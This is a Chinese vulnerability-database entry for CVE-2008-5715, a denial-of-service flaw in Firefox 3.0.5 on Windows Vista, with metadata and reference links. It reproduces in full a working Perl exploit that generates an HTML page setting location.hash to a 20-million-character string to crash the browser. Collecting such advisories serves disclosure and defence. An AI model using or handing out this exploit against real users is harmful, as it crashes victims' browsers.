Mozilla Firefox location.hash远程拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117129 漏洞类型 输入验证
发布时间 2008-12-23 更新时间 2009-01-29
CVE编号 CVE-2008-5715 CNNVD-ID CNNVD-200812-437
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/7554
https://cxsecurity.com/issue/WLB-2008120193
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200812-437
|漏洞详情
MozillaFirefox是美国Mozilla基金会开发的一款开源Web浏览器。Firefox当运行在WindowsVista平台上时,Firefox就无法正确地解析网页JavaScript代码中哈希属性的超长字符串值(location.hash)。如果用户受骗打开了恶意网页的话,就会导致浏览器崩溃。
|漏洞EXP
#!/usr/bin/perl
# mzff_lhash_dos.pl
# Mozilla Firefox 3.0.5 location.hash Denial of Service Exploit
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# Crash on Vista, play with it on XP

$filename = $ARGV[0];
if(!defined($filename))
{

     print "Usage: $0 <filename.html>\n\n";

}

$head = "<html>" . "\n" . "<script type=\"text/javascript\">" . "\n";
$trig = "location.hash = \"" . "A" x 20000000 . "\";" . "\n";
$foot = "</script>" . "\n" . "</html>";

$data = $head . $trig . $foot;

     open(FILE, '>' . $filename);
     print FILE $data;
     close(FILE);

exit;

# milw0rm.com [2008-12-23]
|参考资料

来源:XF
名称:firefox-locationhash-dos(47572)
链接:http://xforce.iss.net/xforce/xfdb/47572
来源:BID
名称:32988
链接:http://www.securityfocus.com/bid/32988
来源:BUGTRAQ
名称:20090821DoSvulnerabilitiesinMozillaFirefox,InternetExplorerandChrome
链接:http://www.securityfocus.com/archive/1/archive/1/506006/100/0/threaded
来源:MILW0RM
名称:7554
链接:http://www.milw0rm.com/exploits/7554
来源:MISC
链接:http://websecurity.com.ua/3424/
来源:SREASON
名称:4807
链接:http://securityreason.com/securityalert/4807
来源:OSVDB
名称:51032
链接:http://osvdb.org/51032